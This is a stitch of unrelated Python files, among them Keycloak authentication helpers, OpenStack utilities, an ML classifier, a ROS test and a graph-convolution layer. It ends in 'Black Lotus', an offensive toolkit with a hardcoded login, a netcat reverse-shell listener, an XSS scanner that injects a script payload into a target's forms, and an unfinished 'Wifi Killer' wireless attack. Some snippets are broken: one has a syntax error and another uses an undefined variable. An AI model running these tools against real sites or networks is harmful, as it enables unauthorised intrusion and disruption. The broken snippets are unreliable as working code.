_KC_TOKEN_SESSION = '__keycloak__token__session__'
_KC_URL = settings.KEYCLOAK_SERVER_URL
_KC_OID_URL = 'protocol/openid-connect'
def get_realm_auth_url(request):
realm = get_current_realm(request, default_realm=None)
redirect_uri = urllib.parse.quote(_get_login_url(request), safe='')
return (
f'{_KC_URL}/{realm}/{_KC_OID_URL}/auth?'
f'&client_id={settings.KEYCLOAK_CLIENT_ID}'
'&scope=openid'
'&response_type=code'
f'&redirect_uri={redirect_uri}'
)
def check_realm(realm):
'''
Checks if the realm name is valid visiting its keycloak server login page.
'''
response = exec_request(method='head', url=f'{_KC_URL}/{realm}/account')
response.raise_for_status()
def authenticate(request, username, password, realm):
'''
Logs in in the keycloak server with the given username, password and realm.
'''
try:
# get user token+info
token, userinfo = _authenticate(
realm=realm,
data={
'grant_type': 'password',
'client_id': settings.KEYCLOAK_CLIENT_ID,
'username': username,
'password': password,
})
except Exception:
return None
# save the current realm in the session
request.session[settings.REALM_COOKIE] = realm
# save the user token in the session
request.session[_KC_TOKEN_SESSION] = token
request.session.modified = True
return _get_or_create_user(request, userinfo)
def post_authenticate(request):
session_state = request.GET.get('session_state')
code = request.GET.get('code')
realm = get_current_realm(request, default_realm=None)
if not session_state or not code or not realm:
return
redirect_uri = _get_login_url(request)
token, userinfo = _authenticate(
realm=realm,
data={
'grant_type': 'authorization_code',
'client_id': settings.KEYCLOAK_CLIENT_ID,
'client_session_state': session_state,
'client_session_host': redirect_uri,
'code': code,
'redirect_uri': redirect_uri,
})
# save the user token in the session
request.session[_KC_TOKEN_SESSION] = token
request.session.modified = True
return _get_or_create_user(request, userinfo)
def check_user_token(request):
'''
Checks if the user token is valid refreshing it in keycloak server.
'''
token = request.session.get(_KC_TOKEN_SESSION)
realm = get_current_realm(request, default_realm=None)
if token and realm:
# refresh token
response = refresh_kc_token(realm, token)
try:
response.raise_for_status()
request.session[_KC_TOKEN_SESSION] = response.json()
request.session.modified = True
except Exception:
logout(request)
# memoize (realm token pairs for TTL set by USER_TOKEN_TTL)
# TTL must be longer than Token validity
@cache_wrap(timeout=settings.USER_TOKEN_TTL)
def refresh_kc_token(realm, token):
return exec_request(
method='post',
url=f'{_KC_URL}/{realm}/{_KC_OID_URL}/token',
data={
'grant_type': 'refresh_token',
'client_id': settings.KEYCLOAK_CLIENT_ID,
'refresh_token': token['refresh_token'],
},
)
def check_gateway_token(request):
'''
Checks if the gateway token is valid fetching the user info from keycloak server.
'''
token = find_in_request_headers(request, settings.GATEWAY_HEADER_TOKEN)
realm = get_current_realm(request, default_realm=None)
if token and realm:
try:
userinfo = _get_user_info(realm, token)
# flags that we are using the gateway to authenticate
request.session[settings.GATEWAY_HEADER_TOKEN] = True
request.session[settings.REALM_COOKIE] = realm
request.session.modified = True
user = _get_or_create_user(request, userinfo)
# only login if the user changed otherwise it will refresh the Csrf
# token and make the AJAX calls fail.
if not hasattr(request, 'user') or request.user.pk != user.pk:
login(request, user)
# WORKAROUND!!!
# Using curl behind the gateway always returns CSRF errors due
# to the missing CSRF Token in the request headers.
# We are adding it manually to skip this issue but
# only if it needs to login
csrfCookie = request.META.get('CSRF_COOKIE')
if not request.META.get(settings.CSRF_HEADER_NAME):
request.META[settings.CSRF_HEADER_NAME] = csrfCookie
if not request.session.get(CSRF_SESSION_KEY):
request.session[CSRF_SESSION_KEY] = csrfCookie
request.user = user
except Exception:
# something went wrong
logout(request)
elif request.session.get(settings.GATEWAY_HEADER_TOKEN):
# this session was using the gateway to authenticate before
logout(request)
@receiver(user_logged_out)
def _user_logged_out(sender, user, request, **kwargs):
'''
Removes realm and token from session also logs out from keycloak server
making the user token invalid.
'''
token = request.session.get(_KC_TOKEN_SESSION)
realm = get_current_realm(request, default_realm=None)
if token and realm:
# logout
exec_request(
method='post',
url=f'{_KC_URL}/{realm}/{_KC_OID_URL}/logout',
data={
'client_id': settings.KEYCLOAK_CLIENT_ID,
'refresh_token': token['refresh_token'],
},
)
def _get_login_url(request):
return request.build_absolute_uri(reverse('rest_framework:login'))
def _authenticate(realm, data):
# get user token from the returned "code"
response = exec_request(
method='post',
url=f'{_KC_URL}/{realm}/{_KC_OID_URL}/token',
data=data,
)
response.raise_for_status()
token = response.json()
userinfo = _get_user_info(realm, token['access_token'])
return token, userinfo
@cache_wrap(timeout=settings.USER_TOKEN_TTL)
def _get_user_info(realm, token):
response = exec_request(
method='get',
url=f'{_KC_URL}/{realm}/{_KC_OID_URL}/userinfo',
headers={'Authorization': f'Bearer {token}'},
)
response.raise_for_status()
return response.json()
def _get_or_create_user(request, userinfo):
user = get_or_create_user(request, userinfo.get('preferred_username'))
update_user = False
demographic_pairs = [
('first_name', 'given_name'),
('last_name', 'family_name'),
('email', 'email')
]
for k_user, k_userinfo in demographic_pairs:
v_user = getattr(user, k_user)
v_userinfo = userinfo.get(k_userinfo, '')
if v_user != v_userinfo:
setattr(user, k_user, v_userinfo)
update_user = True
if update_user:
user.save()
return user
|
# Copyright 2015 Huawei Technologies Co., Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import six
import pecan
from oslo_config import cfg
from oslo_utils import uuidutils
from tricircle.common import constants as cons
import tricircle.common.exceptions as t_exceptions
from tricircle.common.i18n import _
def get_import_path(cls):
return cls.__module__ + "." + cls.__name__
def get_ag_name(region_name):
return 'ag_%s' % region_name
def get_az_name(region_name):
return 'az_%s' % region_name
def get_node_name(region_name):
return "cascade_%s" % region_name
def validate_required_fields_set(body, fields):
for field in fields:
if field not in body:
return False
return True
TRUE_STRINGS = ('1', 't', 'true', 'on', 'y', 'yes')
FALSE_STRINGS = ('0', 'f', 'false', 'off', 'n', 'no')
def is_valid_boolstr(val):
"""Check if the provided string is a valid bool string or not."""
val = str(val).lower()
return (val in TRUE_STRINGS) or (val in FALSE_STRINGS)
def bool_from_string(subject, strict=False, default=False):
"""Interpret a string as a boolean.
A case-insensitive match is performed such that strings matching 't',
'true', 'on', 'y', 'yes', or '1' are considered True and, when
`strict=False`, anything else returns the value specified by 'default'.
Useful for JSON-decoded stuff and config file parsing.
If `strict=True`, unrecognized values, including None, will raise a
ValueError which is useful when parsing values passed in from an API call.
Strings yielding False are 'f', 'false', 'off', 'n', 'no', or '0'.
"""
if not isinstance(subject, six.string_types):
subject = six.text_type(subject)
lowered = subject.strip().lower()
if lowered in TRUE_STRINGS:
return True
elif lowered in FALSE_STRINGS:
return False
elif strict:
acceptable = ', '.join(
"'%s'" % s for s in sorted(TRUE_STRINGS + FALSE_STRINGS))
msg = _("Unrecognized value '%(val)s', acceptable values are:"
" %(acceptable)s") % {'val': subject,
'acceptable': acceptable}
raise ValueError(msg)
else:
return default
def check_string_length(value, name=None, min_len=0, max_len=None):
"""Check the length of specified string
:param value: the value of the string
:param name: the name of the string
:param min_len: the minimum length of the string
:param max_len: the maximum length of the string
"""
if not isinstance(value, six.string_types):
if name is None:
msg = _("The input is not a string or unicode")
else:
msg = _("%s is not a string or unicode") % name
raise t_exceptions.InvalidInput(message=msg)
if name is None:
name = value
if len(value) < min_len:
msg = _("%(name)s has a minimum character requirement of "
"%(min_length)s.") % {'name': name, 'min_length': min_len}
raise t_exceptions.InvalidInput(message=msg)
if max_len and len(value) > max_len:
msg = _("%(name)s has more than %(max_length)s "
"characters.") % {'name': name, 'max_length': max_len}
raise t_exceptions.InvalidInput(message=msg)
def get_bottom_network_name(network):
return '%s#%s' % (network['id'], network['name'])
def get_id_from_name(_type, name):
if _type == cons.RT_NETWORK:
tokens = name.split('#')
if len(tokens) == 2:
id_candidate = tokens[1]
else:
id_candidate = tokens[0]
else:
id_candidate = name
if uuidutils.is_uuid_like(id_candidate):
return id_candidate
else:
return None
def format_error(code, message, error_type=None):
error_type_map = {400: 'badRequest',
403: 'forbidden',
404: 'itemNotFound',
409: 'conflictingRequest',
500: 'internalServerError'}
pecan.response.status = code
if not error_type:
if code in error_type_map:
error_type = error_type_map[code]
else:
error_type = 'Error'
# format error message in this form so nova client can
# correctly parse it
return {error_type: {'message': message, 'code': code}}
def format_api_error(code, message, error_type=None):
return format_error(code, message, error_type)
def format_nova_error(code, message, error_type=None):
return format_error(code, message, error_type)
def format_cinder_error(code, message, error_type=None):
return format_error(code, message, error_type)
def get_pagination_limit(_limit):
"""Return page size limitation.
:param _limit: page size from the client.
:return limit: limit sets the page size. If the client requests a limit
beyond the maximum limit in configuration or sets invalid value,
then the maximum limit will be used. If client doesn't set page limit,
maximum pagination limit will be used to control the page size.
"""
max_limit = cfg.CONF.pagination_max_limit
limit = min(_limit, max_limit) if _limit > 0 else max_limit
return limit
|
import os
import pickle
import pandas as pd
import numpy as np
from sklearn.utils import shuffle
from outcomes_modelling import outcomes_sentence_labeler
from sklearn.metrics import f1_score
import shutil
import nltk
class OutcomesMultiLabelPredictor:
def __init__(self, model_folder, ner_model_folder="", threshold=0.5):
self.model_folder = model_folder
self.ner_model_folder = ner_model_folder
self.labels = ['Livelihood', 'Soil health', 'Fertilizer use', 'Water use', 'Gender',
'Greenhouse gas emissions', 'Market access', 'Nutrition',
'Production', 'Resilience', 'Knowledge sharing', 'Practice change',
'Social inclusion', 'Poverty reduction', 'Environment impact']
self.threshold = threshold
self.outcomes_sentence_labeler = outcomes_sentence_labeler.OutcomesSentenceLabeler(
model_folder,
gpu_device_num=0, multilabel=True, label_list=list(range(len(self.labels))),
epoch_num=15)
def predict(self, sentences):
data_df = pd.DataFrame([(sent, -1) for sent in sentences], columns=["text", "label"])
res_prob, res_label, _ = self.outcomes_sentence_labeler.predict_for_df(data_df)
outcomes_details = []
outcomes_found = []
for i in range(len(res_label)):
outcomes_label_per_sentence = []
outcomes_details_per_sentence = []
for idx in range(len(self.labels)):
if res_prob[i][idx] >= self.threshold:
outcomes_details_per_sentence.append("[%s]%s"%(self.labels[idx], sentences[i]))
outcomes_label_per_sentence.append(self.labels[idx])
outcomes_details.append(outcomes_details_per_sentence)
outcomes_found.append(outcomes_label_per_sentence)
return outcomes_found, outcomes_details
def predict_all_labels(self, texts, found_labels=None):
sent2partsLabels = {}
for idx in range(len(texts)):
sent2partsLabels[idx] = (set(), set())
texts_to_sentences = []
id_ = 0
sent2parts = {}
for idx, text in enumerate(texts):
sent2parts[idx] = []
if found_labels is None or label in found_labels[idx]:
for sent in nltk.sent_tokenize(text):
sent2parts[idx].append(id_)
texts_to_sentences.append(sent)
id_ += 1
res_label, outcomes_details = self.predict(texts_to_sentences)
for idx in sent2parts:
for sent_id in sent2parts[idx]:
if res_label[sent_id]:
sent2partsLabels[idx][0].update(res_label[sent_id])
sent2partsLabels[idx][1].update(outcomes_details[sent_id])
return [list(sent2partsLabels[idx][0]) for idx in range(len(texts))], [list(sent2partsLabels[idx][1]) for idx in range(len(texts))]
|
#!/usr/bin/env python
import unittest
from arni_processing.specification_handler import *
from arni_processing.specification import *
import traceback
import rospy
PKG = "arni_processing"
test_spec = [
{
'n!test_node': {
'node_cpu_usage_mean': [0.03, 0.09],
'node_ramusage_mean': [3000, 500, 'relative']
}
},
{
'h!127.0.0.1': {
'cpu_temp_mean': [30, 60]
}
},
{
'invalid': {
'cpu_temp_mean': [30, 60]
}
}
]
test_spec2 = {}
class TestLoadingSpecifications(unittest.TestCase):
__namespace = '/arni/specifications'
def setUp(self):
try:
rospy.delete_param(self.__namespace)
except KeyError:
pass
def test_no_specifications(self):
"""
Checks if the list of specifications is empty if no specifications are
on the parameter server.
"""
sh = SpecificationHandler()
self.assertEqual(sh.loaded_specifications(), [])
def test_load_spec(self):
"""
Checks if a specification is properly loaded.
"""
seuid = 'n!test_node'
rospy.set_param(self.__namespace, test_spec[0:1])
sh = SpecificationHandler()
self.assertEqual(sh.loaded_specifications(), [seuid])
def test_load_new_specs(self):
"""
Checks if the new specification format loads
"""
rospy.set_param(self.__namespace, test_spec2)
sh = SpecificationHandler()
self.assertEqual(sh.loaded_specifications(), ['h!192.168.0.17', 'h!127.0.0.1'])
def test_reload_spec(self):
"""
Checks if the list of specifications has been expanded according to new
parameters after reloading them.
"""
seuid1 = 'n!test_node'
seuid2 = 'h!127.0.0.1'
rospy.set_param(self.__namespace, test_spec[0:1])
sh = SpecificationHandler()
rospy.set_param(self.__namespace, test_spec[0:2])
sh.reload_specifications()
self.assertItemsEqual(sh.loaded_specifications(), [seuid1, seuid2])
def test_invalid_seuid(self):
"""
Checks if invalid identifiers aren't added to the list.
"""
seuid = 'invalid'
rospy.set_param(self.__namespace, test_spec[2:1])
sh = SpecificationHandler()
self.assertEqual(sh.loaded_specifications(), [])
def test_existing_fields(self):
seuid = 'n!test_node'
rospy.set_param(self.__namespace, test_spec[0:1])
sh = SpecificationHandler()
sp = sh.get(seuid)
self.assertItemsEqual(sp.keys(), test_spec[0][test_spec[0].keys()[0]].keys())
for k in test_spec[0][test_spec[0].keys()[0]].keys():
self.assertEqual(test_spec[0][test_spec[0].keys()[0]][k], sp.get(k)[1])
if __name__ == '__main__':
import rosunit
test_spec2 = rospy.get_param('/arni/specifications', {})
rosunit.unitrun(PKG, 'test_loading_specifications', TestLoadingSpecifications)
|
import torch
import torch.nn as nn
from torch_geometric.nn import MessagePassing
from torch_geometric.nn.conv.gcn_conv import gcn_norm
from torch_geometric.nn.inits import glorot, zeros
from torch_scatter import scatter
from torch_sparse import SparseTensor, matmul
class EfficientGraphConv(nn.Module):
"""The EGC Layer described in the paper"""
def __init__(
self,
in_channels,
out_channels,
num_heads,
num_bases,
softmax_weights,
add_self_loops=True,
bias=True,
aggrs=None,
cache=False,
**kwargs,
):
super().__init__()
assert aggrs is not None
self.in_channels = in_channels
self.out_channels = out_channels
self.num_heads = num_heads
self.num_bases = num_bases
self.softmax_weights = softmax_weights
self.add_self_loops = add_self_loops
assert self.out_channels % self.num_heads == 0
self.comb_weights = nn.Linear(
in_channels,
num_heads * num_bases * len(aggrs),
)
# You can fuse this into one weight matrix.
# I didn't just to make the implementation easier for other readers
self.bases_weight = nn.ParameterList(
[
nn.Parameter(
torch.Tensor(
self.in_channels, (self.out_channels // self.num_heads)
)
)
for _ in range(self.num_bases)
]
)
# NOTE: in the interest of implementing things quickly, and avoiding bugs
# aggregator fusion is _not_ used for the numerical experiments.
# Instead, we use "_AggLayer"s that are message passing layers
# that do nothing except apply the aggregator after message passing.
self.aggs = nn.ModuleList()
for a in aggrs:
self.aggs.append(_AggLayer(a, add_self_loops=add_self_loops, cache=cache))
if bias:
self.bias = nn.Parameter(torch.zeros(out_channels))
else:
self.register_parameter("bias", None)
self.reset_parameters()
def reset_parameters(self):
self.comb_weights.reset_parameters()
for w in self.bases_weight:
glorot(w)
if self.bias is not None:
zeros(self.bias)
def forward(self, x, edge_index):
# NOTE: There is almost certainly a better way to implement this!
# This implementation is the closest match to what is described in the paper.
# In the interests of reproducibility we retain the original implementation.
# One possible alternative is to reshape appropriately, and use a batched
# matrix multiplication (per node) to do the weighting per-head.
# define L = O // H
bases = []
for w in self.bases_weight:
bases.append(torch.matmul(x, w)) # N x L
bases = torch.stack(bases, dim=1) # N x B x L
bases = bases.view(bases.shape[0], -1) # N x BL
aggregated = []
for a in self.aggs:
y = a(x=bases, edge_index=edge_index) # N x BL
y = y.view(y.shape[0], self.num_bases, -1) # N x B x L
aggregated.append(y)
y = torch.stack(aggregated, dim=2) # N x B x A x L
weightings = self.comb_weights(x) # N x HBA
if self.softmax_weights:
weightings = weightings.view(
-1, self.num_heads, self.num_bases * len(self.aggs)
) # N x H x BA
# NOTE: applying the softmax over all basis/aggregators!
weightings = weightings.softmax(dim=-1)
weightings = weightings.view(
-1, self.num_heads, self.num_bases, len(self.aggs), 1
) # N x H x B x A x 1
else:
weightings = weightings.view(
-1, self.num_heads, self.num_bases, len(self.aggs), 1
) # N x H x B x A x 1
y = y.unsqueeze(1) # N x 1 x B x A x L
z = weightings * y # N x H x B x A x L
z = torch.sum(z, dim=(2, 3)) # N x H x L
z = z.view(-1, self.out_channels) # N x O
if self.bias is not None:
z = z + self.bias
return z
def extra_repr(self):
return (
f"(In={self.in_channels}, Out={self.out_channels}, H={self.num_heads}, "
+ f"B={self.num_bases}, SL={self.add_self_loops}, SM={self.softmax_weights}, "
+ f"Bias={self.bias is not None})"
)
class _AggLayer(MessagePassing):
"""Message passing layer that does nothing except apply aggregators"""
def __init__(self, aggr, add_self_loops, cache):
self.aggr_fun = aggr
if aggr == "min":
aggr = "max"
elif aggr == "symadd":
aggr = "add"
elif aggr in ["var", "std"]:
aggr = None
super().__init__(aggr=aggr)
self.add_self_loops = add_self_loops
self.cache = cache
self.cached_vals = None
def forward(self, x, edge_index):
edge_weight = None
if self.aggr_fun == "symadd":
if self.cache and self.cached_vals is not None:
edge_index, edge_weight = self.cached_vals
else:
if isinstance(edge_index, torch.Tensor):
edge_index, edge_weight = gcn_norm(
edge_index=edge_index,
edge_weight=None,
num_nodes=x.shape[0],
add_self_loops=self.add_self_loops,
)
elif isinstance(edge_index, SparseTensor):
edge_index = gcn_norm(
edge_index=edge_index,
edge_weight=None,
num_nodes=x.shape[0],
add_self_loops=self.add_self_loops,
)
if self.cache:
self.cached_vals = (edge_index, edge_weight)
if self.aggr_fun == "min":
return -self.propagate(x=-x, edge_index=edge_index, edge_weight=edge_weight)
else:
return self.propagate(x=x, edge_index=edge_index, edge_weight=edge_weight)
def message(self, x_j, edge_weight):
if edge_weight is not None:
return edge_weight.view(-1, 1) * x_j
else:
return x_j
def aggregate(self, inputs, index, ptr, dim_size):
if self.aggr_fun in ["var", "std"]:
mean = scatter(
inputs, index, dim=self.node_dim, dim_size=dim_size, reduce="mean"
)
mean_sq = scatter(
inputs * inputs,
index,
dim=self.node_dim,
dim_size=dim_size,
reduce="mean",
)
out = mean_sq - mean
if self.aggr_fun == "std":
out = torch.sqrt(torch.relu(out) + 1e-5)
return out
else:
return super().aggregate(inputs, index, ptr=ptr, dim_size=dim_size)
def message_and_aggregate(self, adj_t, x):
if self.aggr_fun in ["var", "std"]:
# TODO
raise NotImplementedError
return matmul(adj_t, x, reduce=self.aggr)
def extra_repr(self):
return self.aggr_fun
class Mpnn(MessagePassing):
"""Baseline MPNN"""
def __init__(self, aggr, in_dim, out_dim, towers=4):
super().__init__(aggr=aggr)
assert out_dim % towers == 0 and in_dim % towers == 0
self.message_layer = nn.ModuleList(
[nn.Linear(2 * in_dim // towers, out_dim // towers) for _ in range(towers)]
)
self.update_layer = nn.ModuleList(
[nn.Linear(2 * out_dim // towers, out_dim // towers) for _ in range(towers)]
)
self.lin = nn.Linear(out_dim, out_dim)
self.towers = towers
self.in_dim = in_dim
self.out_dim = out_dim
def forward(self, x, edge_index):
return self.lin(self.propagate(x=x, edge_index=edge_index, x_init=x))
def message(self, x_j, x_i):
x_i = x_i.reshape(-1, self.towers, self.in_dim // self.towers)
x_j = x_j.reshape(-1, self.towers, self.in_dim // self.towers)
h = torch.cat([x_i, x_j], dim=-1)
out = []
for i, l in enumerate(self.message_layer):
out.append(l(h[:, i]))
return torch.cat(out, dim=-1)
def update(self, inputs, x_init):
inputs = inputs.reshape(-1, self.towers, self.in_dim // self.towers)
x_init = x_init.reshape(-1, self.towers, self.in_dim // self.towers)
h = torch.cat([inputs, x_init], dim=-1)
out = []
for i, l in enumerate(self.update_layer):
out.append(l(h[:, i]))
return torch.cat(out, dim=-1)
if __name__ == "__main__":
layer = EfficientGraphConv(128, 128, 4, 8, False)
print(layer)
|
import csv
print("without-BOM-UTF8 / open with utf_8")
csv_file = open("./woBOM.csv","r",encoding="utf_8")
f = csv.DictReader(csv_file)
for row in f:
print(row)
# OrderedDict([('#', '1'), ('a', 'あ'), ('b', '𦀗')])
csv_file.close()
print("without-BOM-UTF8 / open with utf_8_sig")
csv_file = open("./woBOM.csv","r",encoding="utf_8_sig")
f = csv.DictReader(csv_file)
for row in f:
print(row)
# OrderedDict([('#', '1'), ('a', 'あ'), ('b', '𦀗')])
csv_file.close()
print("with-BOM-UTF8 / open with utf_8")
csv_file = open("./withBOM.csv","r",encoding="utf_8")
f = csv.DictReader(csv_file)
for row in f:
print(row)
# OrderedDict([('\ufeff#', '1'), ('a', 'あ'), ('b', '𦀗')])
csv_file.close()
print("with-BOM-UTF8 / open with utf_8_sig")
csv_file = open("./withBOM.csv","r",encoding="utf_8_sig")
f = csv.DictReader(csv_file)
for row in f:
print(row)
# OrderedDict([('#', '1'), ('a', 'あ'), ('b', '𦀗')])
csv_file.close()
|
import urllib.request
import urllib.parse
def search(parsmeters)
data = urllib.parse.urlencode(parameters)
print(data)
request_ = urllib.request.Request(url='http://www.baidu.com/s?'+data
,method="GET")
response = urllib.request.urlopen(request_)
print(response.url)
HTML=response.read().decode()
print(HTML)
with open("/home/ubuntu/Desktop/lj2.txt",mode='w') as f:
f.write(HTML)
def main():
pars={
"wd":"胡旺是个好人"
}
|
import time
from adafruit_circuitplayground.express import cpx
while True:
x, y, z = cpx.acceleration
print((x, y, z))
time.sleep(0.5)
|
#!/usr/bin/env python3
#Black Lotus v2-dev-
#Copyright of Th3 Jes7er
#----------------------------------------------------------------------------------------------------------------------
import os
from getpass import getpass
import time
import sys
def login():
os.system('cls||clear')
usr = input("\033[37m Username\033[5;37m: \033[0;31m")
if usr =="black":
pas = getpass(prompt="\033[37m Password\033[5;37m: \033[0;31m")
if pas == "black":
os.system('cls||clear')
login = False
else:
print("\033[31mPassword is invalid")
print("\033[37m ")
time.sleep(1)
os.system('cls||clear')
sys.exit()
else:
print("\033[31mUsername is false or does not exist")
print("\033[37m ")
time.sleep(1)
os.system('cls||clear')
sys.exit()
login()
#----------------------------------------------------------------------------------------------------------------------
print("\033[37mLoading \033[31mBlack Lotus \n For Better experience set terminal to fullscreen\033[37m")
#----------------------------------------------------------------------------------------------------------------------
import time
import threading
import socket
import uuid
from pexpect import pxssh
import sys
import subprocess
from datetime import datetime
try:
import phonenumbers
from phonenumbers import geocoder, carrier
except:
os.system('pip install phonenumbers')
import phonenumbers
from phonenumbers import geocoder, carrier
import glob
import paramiko
import webbrowser
from PIL import Image
from PIL.ExifTags import TAGS
import re
try:
from requests_html import HTMLSession
except:
os.system('pip install requests_html')
from requests_html import HTMLSession
import requests
from pprint import pprint
from bs4 import BeautifulSoup as bs
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin
import colorama
from colorama import init
init()
try:
import pikepdf
except:
os.system('pip install pikepdf')
import pikepdf
from tqdm import tqdm
import zipfile
from tkinter import *
from scapy.all import *
#----------------------------------------------------------------------------------------------------------------------
def loading():
import time
import sys
animation = ["[\033[31m### \033[37m]","[\033[31m#### \033[37m]", "[\033[31m##### \033[37m]", "[\033[31m###### \033[37m]", "[\033[31m####### \033[37m]", "[\033[31m######## \033[37m]", "[\033[31m######### \033[37m]", "[\033[31m########## \033[37m]", "[\033[31m########### \033[37m]", "[\033[31m############\033[37m]"]
for i in range(len(animation)):
time.sleep(0.2)
sys.stdout.write("\r" + animation[i % len(animation)])
sys.stdout.flush()
print("\n")
print("\033[37m ")
loading()
#----------------------------------------------------------------------------------------------------------------------
#ESC [ 31 m # red
#ESC [ 32 m # green
#ESC [ 33 m # yellow
#ESC [ 34 m # blue
#ESC [ 35 m # magenta
#ESC [ 36 m # cyan
#ESC [ 37 m # white
#ESC [ 39 m # reset
#----------------------------------------------------------------------------------------------------------------------
def public_ip_addr():
import re
import json
from urllib.request import urlopen
url = 'http://ipinfo.io/json'
response = urlopen(url)
data = json.load(response)
ip=data['ip']
org=data['org']
city = data['city']
country=data['country']
region=data['region']
location=data['loc']
hostname=data['hostname']
print('\033[32mPublic IP Address Details\n \033[37m')
print('\033[37mIP: \033[32m', ip, '\033[37m\nRegion: \033[32m', region, '\033[37m\nCountry: \033[32m',country, '\033[37m\nCity: \033[32m',city, '\033[37m\nOrg: \033[32m', org, '\033[37m ')
print('\033[37mLocation: \033[32m', location)
print('\033[37mHostname: \033[32m', hostname)
print("\n\033[37m")
#----------------------------------------------------------------------------------------------------------------------
def host_details():
host = socket.gethostname()
ip = socket.gethostbyname(host)
time.sleep(0.2)
print("\n\033[36mHost Details")
print("\033[37m============")
print("\033[37m Host: \033[31m", host)
print("\033[37m Local IP:\033[31m ", ip)
print("\033[37m MAC: \033[31m", end="")
print (':'.join(['{:02x}'.format((uuid.getnode() >> ele) & 0xff)
for ele in range(0,8*6,8)][::-1]))
print("\033[37m============")
public_ip_addr()
#----------------------------------------------------------------------------------------------------------------------
def photo():
imagename = input("\033[37mEnter image path \033[31m>\033[37m ")
image = Image.open(imagename)
print(" ")
print("-------------------------")
exifdata = image.getexif()
for tag_id in exifdata:
tag = TAGS.get(tag_id, tag_id)
data = exifdata.get(tag_id)
if isinstance(data, bytes):
data = data.decode()
print(f"{tag:25}: {data}")
print(" ")
os.system('sudo exiftool' + imagename)
#----------------------------------------------------------------------------------------------------------------------
def phone_lookup():
p = input("\033[37mEnter Phone Number (with carrier number, like +30) \033[31m>\033[37m ")
phoneNumber = phonenumbers.parse(p)
Carrier = carrier.name_for_number(phoneNumber, 'en')
Region = geocoder.description_for_number(phoneNumber, 'en')
print("\n\033[37m====================")
print("\033[34mPhone Number details\033[37m")
print("\033[37m====================")
print("\033[37m# Phone number: \033[31m", p)
print("\033[37m# Carrier: \033[31m", Carrier)
print("\033[37m# Region: \033[31m", Region)
print("\033[37m ")
print("\033[31mDo you want to check the Phonebook for Greek Numbers?")
a = input("\033[31mThis may contain information about Name, Address and more (y/n)\033[37m ")
b = input("Open in megalodon's browser ? (y/n) ")
if b == "y":
a = "y"
elif b == "n":
print("\033[36mLink: \033[31mhttps://www.11888.gr/antistrofh-anazhthsh-me-arithmo-thlefwnou/ \033[37m")
a = "n"
else:
print("Get out of here")
if a == "y":
import tkinterweb
import tkinter as tk
root = tk.Tk()
root.title("Black Lotus Browser: Greek PhoneBook Searcher")
root.geometry("900x450+200+150")
frame = tkinterweb.HtmlFrame(root)
frame.load_website('https://www.11888.gr/antistrofh-anazhthsh-me-arithmo-thlefwnou/')
frame.pack(fill="both", expand=True)
root.mainloop()
else:
print(" ")
#----------------------------------------------------------------------------------------------------------------------
def listener():
b = input("\033[37mEnter Port \033[31m>\033[37m")
os.system("nc -lvnp " + b)
#----------------------------------------------------------------------------------------------------------------------
def xss():
def get_all_forms(url):
soup = bs(requests.get(url).content, "html.parser")
return soup.find_all("form")
def get_form_details(form):
details = {}
action = form.attrs.get("action").lower()
method = form.attrs.get("method", "get").lower()
inputs = []
for input_tag in form.find_all("input"):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
inputs.append({"type": input_type, "name": input_name})
details["action"] = action
details["method"] = method
details["inputs"] = inputs
return details
def submit_form(form_details, url, value):
target_url = urljoin(url, form_details["action"])
inputs = form_details["inputs"]
data = {}
for input in inputs:
if input["type"] == "text" or input["type"] == "search":
input["value"] = value
input_name = input.get("name")
input_value = input.get("value")
if input_name and input_value:
data[input_name] = input_value
if form_details["method"] == "post":
return requests.post(target_url, data=data)
else:
return requests.get(target_url, params=data)
def scan_xss(url):
forms = get_all_forms(url)
print(f"\033[37m[\033[31m+\033[37m] Detected {len(forms)} forms on \033[31m{url}\033[37m.")
js_script = "<script>alert('Black Lotus')</script>"
is_vulnerable = False
for form in forms:
form_details = get_form_details(form)
content = submit_form(form_details, url, js_script).content.decode()
if js_script in content:
print(f"\033[37m[\033[31m+\033[37m] XSS Detected on \033[31m{url}\033[37m")
print(f"\033[37m[\033[31m*\033[37m] Form details:\033[31m")
pprint(form_details)
is_vulnerable = True
return is_vulnerable
print("\033[37m ")
if __name__ == "__main__":
url = input("\033[37mEnter URL \033[31m>\033[37m ")
print(scan_xss(url))
print("\033[37m ")
#----------------------------------------------------------------------------------------------------------------------
def atom():
#!/usr/bin/env python3
import subprocess
import re
import csv
import os
import time
import shutil
from datetime import datetime
active_wireless_networks = []
def check_for_essid(essid, lst):
check_status = True
# If no ESSIDs in list add the row
if len(lst) == 0:
return check_status
for item in lst:
if essid in item["ESSID"]:
check_status = False
return check_status
print("""\033[37m
_______ /__/ \033[35m█████╗ ████████╗ ██████╗ ███╗ ███╗\033[37m
|.-----.| ,---[___]* \033[35m██╔══██╗╚══██╔══╝██╔═══██╗████╗ ████║\033[37m
|| || / \033[33mprinter\033[37m \033[35m███████║ ██║ ██║ ██║██╔████╔██║\033[37m
||_____|| _____ / ____ \033[35m██╔══██║ ██║ ██║ ██║██║╚██╔╝██║\033[37m
|o_____+| [o_+_+]--------[=i==] \033[35m██║ ██║ ██║ ╚██████╔╝██║ ╚═╝ ██║\033[37m
|_______| \033[32mwlan0\033[37m drive \033[35m╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝\033[37m
Wifi \033[31mKiller\033[37m
""")
if not 'SUDO_UID' in os.environ.keys():
print("Run this program with sudo.")
for file_name in os.listdir():
if ".csv" in file_name:
print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.")
directory = os.getcwd()
try:
os.mkdir(directory + "/backup/")
except:
print("Backup folder exists.")
timestamp = datetime.now()
shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
wlan_pattern = re.compile("^wlan[0-9]+")
check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
if len(check_wifi_result) == 0:
print("Please connect a WiFi controller and try again.")
loading()
print("The following WiFi interfaces are available:")
for index, item in enumerate(check_wifi_result):
print(f"{index} - {item}")
while True:
wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
